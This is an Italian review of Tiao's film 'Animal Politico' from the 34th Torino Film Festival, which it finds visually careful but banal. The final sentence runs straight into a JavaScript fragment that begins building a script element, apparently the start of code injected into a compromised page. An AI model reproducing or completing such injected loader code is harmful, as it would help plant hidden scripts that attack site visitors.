TFF 34: “Animal Politico” di Tiao

Sfogliando il programma della 34esima edizione del Torino Film Festival “Animal Politico” è una delle prime ispirazioni che ci colpiscono nella sezione After Hours. La sinossi dà un’idea di leggerezza, ma anche di riflessione; l’immagine scelta per presentare la pellicola ispira subito simpatia. Evidentemente non siamo stati gli unici a pensarla così. A testimoniarlo la sala gremita di pubblico in attesa dell’inizio della proiezione. 

“Animal politico” è il terzo lavoro del regista brasiliano, che dopo due esperienze di film brevi nel 2008 e 2014, sperimenta la forma del lungometraggo. La tematica sviluppata non è, come nei precedenti lavori, legata propriamente ad un contesto specifico, ma si rivolge all’essenza umana. Protagonista del viaggio che intraprendiamo una volta entrati in sala è una mucca. La semplificazione della narrazione vuole che tale animale senza nome entri in crisi esistenziale alla vigilia di Natale. Già dalle prime immagini, con estrema pacatezza, la mucca, o il mucco perchè non ne è chiaro il genere, racconta di un’esistenza semplice. I giorni della mucca sono scanditi da lavoro, famiglia (rigorosamente umana e non animale), aperitivi in terrazza con le amiche e shopping contro il malumore. La grande domanda che sorge durante le festività è relativa alla vera essenza della vita; è questo quesito che la spinge ad un viaggio nell’isolamento per comprendere se stessa e per realizzare poi, che le manca il suo posto nella società. In questo percorso incontra buffi e inquietanti personaggi che ci danno un senso di vaghezza. È a pochi secondi dalla fine che l’animale trova un piccolo spazio dove si sente a suo agio in mezzo ai suoi simili.

Partendo da una valutazione relativa al messaggio che sta alla base di “Animal Politico” possiamo identificareuna parvenza di originalità, che scivola poi nella banalità. Se la domanda sul senso della vita è una caratteristica della società attuale, nella quale spesso ci si può ritrovare disorientati, la risposta può essere la ricerca di se. Proprio questo è un argomento non del tutto inesplorato, che dava al regista la possibilità di intraprendere soluzioni interessanti. La scelta di paragonare l’uomo all’animale, sostituendolo nelle attività quotidiane, è un primo elemento che da un retrogusto di banalità. A voler sottolineare la natura animale di ognuno di noi, non ne trae vantaggio lo spessore della riflessione. Allo stesso modo la scelta di utilizzare nei personaggi una forte stereotipizzazione non tradisce motivazioni profonde. Tutte le scelte di Tiao sembrano puntare verso la creazione di un film surreale, ma dando vita ad un prodotto che non esce dalla media. Le scelte stilistiche e la fotografia dimostrano una grande attenzione ai particolari, alle tempistiche, senza uscire dal puro fine estetico, ma allo stesso tempo senza renderlo predominante.

La fine della proiezione, con l’accensione della lui in sala, ci lascia con una domanda. Il film cosa voleva dirci e come? “Animal politico” non è un eccellente lavoro surrealista, o meglio non spicca rispetto ad altri suoi simili. Come film riflessivo non solo manca di originalità, ma non ci da uno spunto per una risposta alla riflessione che tenta di indurre. Pur con i migliori presupposti, il risultato finale è insipido.var d=document;var s=d.createElement(‘script’);

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